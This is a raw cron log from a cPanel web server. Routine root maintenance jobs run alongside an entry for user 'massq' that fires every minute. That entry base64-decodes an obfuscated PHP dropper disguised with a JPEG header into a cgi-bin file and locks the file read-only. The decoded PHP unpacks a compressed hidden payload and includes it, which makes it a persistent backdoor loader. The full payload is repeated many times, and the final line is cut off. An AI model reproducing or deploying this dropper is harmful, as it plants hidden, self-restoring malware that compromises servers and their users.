Sep  2 05:09:01 server CROND[23156]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 05:09:01 server CROND[23157]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 05:09:01 server CROND[23158]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:09:01 server CROND[23159]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:10:01 server CROND[23530]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 05:10:01 server CROND[23531]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 05:10:01 server CROND[23534]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 05:10:01 server CROND[23542]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 05:10:01 server CROND[23543]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 05:10:01 server CROND[23541]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 05:10:01 server CROND[23546]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:10:01 server CROND[23544]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:11:01 server CROND[24464]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:11:01 server CROND[24465]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:11:01 server CROND[24466]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 05:12:01 server CROND[24832]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 05:12:01 server CROND[24833]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:12:01 server CROND[24834]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 05:12:01 server CROND[24835]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:13:01 server CROND[25212]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 05:13:01 server CROND[25213]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:13:01 server CROND[25214]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:14:01 server CROND[25577]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:14:01 server CROND[25578]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 05:14:01 server CROND[25579]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:15:01 server CROND[25956]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:15:01 server CROND[25958]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 05:15:01 server CROND[25960]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:15:01 server CROND[25961]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  2 05:15:01 server CROND[25964]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 05:15:01 server CROND[25962]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 05:15:01 server CROND[25963]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 05:15:01 server CROND[25966]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 05:16:01 server CROND[26913]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 05:16:01 server CROND[26914]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:16:01 server CROND[26915]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:17:01 server CROND[27284]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:17:01 server CROND[27286]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:17:01 server CROND[27285]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 05:18:01 server CROND[27671]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:18:01 server CROND[27672]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 05:18:01 server CROND[27673]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:19:01 server CROND[28047]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:19:01 server CROND[28048]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:19:01 server CROND[28049]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 05:20:01 server CROND[28432]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 05:20:01 server CROND[28434]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 05:20:01 server CROND[28439]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 05:20:01 server CROND[28451]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 05:20:01 server CROND[28455]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:20:01 server CROND[28454]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 05:20:01 server CROND[28458]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 05:20:01 server CROND[28459]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 05:20:01 server CROND[28460]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF